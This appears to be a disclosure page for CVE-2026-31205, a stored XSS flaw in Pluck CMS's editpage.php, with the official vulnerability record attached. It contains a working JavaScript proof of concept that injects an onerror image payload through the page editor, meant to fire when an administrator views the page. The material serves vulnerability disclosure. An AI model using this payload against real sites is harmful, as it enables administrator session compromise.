CVE-2026-31205

// Proof of Concept for CVE-2026-31205 // This script demonstrates how an attacker might inject a payload. // The payload targets the page editor functionality. // Malicious payload designed to bypass basic sanitization // or exploit gaps in the sanitizePageContent function. var xssPayload = '<img src=x onerror=alert(1)>'; // Simulate sending the payload to the editpage.php endpoint // Note: Valid session cookies are required (PR:H) fetch('/data/inc/editpage.php', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: 'title=HackedPage&content=' + encodeURIComponent(xssPayload) + '&save=1' }).then(response => console.log('Payload injected successfully')); // Wait for an administrator to view the page to trigger the privilege escalation.

{"cve": {"id": "CVE-2026-31205", "sourceIdentifier": "[email protected]", "published": "2026-05-04T14:16:32.863", "lastModified": "2026-05-05T19:44:42.893", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross Site Scripting vulnerability in Pluck CMS before v.4.7.21dev allows a remote attacker to escalate privileges via the editpage.php and the sanitizePageContent function"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:N", "baseScore": 5.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.5, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/pluck-cms/pluck/blob/main/data/inc/editpage.php", "source": "[email protected]"}, {"url": "https://github.com/pluck-cms/pluck/blob/main/data/inc/functions.all.php#L207", "source": "[email protected]"}, {"url": "https://github.com/pluck-cms/pluck/issues/141", "source": "[email protected]"}, {"url": "https://medium.com/@nakah_/pluck-cms-stored-xss-in-page-editor-cve-2026-31205-3b0526743e1d?postPublishedType=initial", "source": "[email protected]"}, {"url": "https://medium.com/@nakah_/pluck-cms-stored-xss-in-page-editor-cve-2026-31205-3b0526743e1d?postPublishedType=initial", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}